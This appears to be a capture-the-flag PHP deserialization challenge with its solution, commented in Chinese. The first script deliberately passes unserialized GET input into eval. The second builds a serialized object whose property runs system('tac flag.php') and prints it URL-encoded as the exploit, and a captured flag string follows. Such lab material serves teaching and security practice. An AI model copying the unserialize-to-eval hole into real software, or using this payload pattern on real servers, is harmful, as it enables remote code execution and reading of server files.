<?php
error_reporting(0);
include("flag.php"); //包含flag.php文件
highlight_file(__FILE__);
class a{
var $act; //定义一个公共属性$act
function action(){ //定义一个action方法
eval($this->act); //调用action方法使会触发eval($this->act),这个是目标,$act的值为system('cat /f*');
}
}
$a=unserialize($_GET['flag']); //反序列化GET传参的值
$a->action(); //触发action函数 ,如果再写
?><?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=new a();
$a->act="system('tac flag.php');";
echo urlencode(serialize($a));
?>
Geesec{cfd86850-9bd5-4a62-96da-2304ae7f4d75}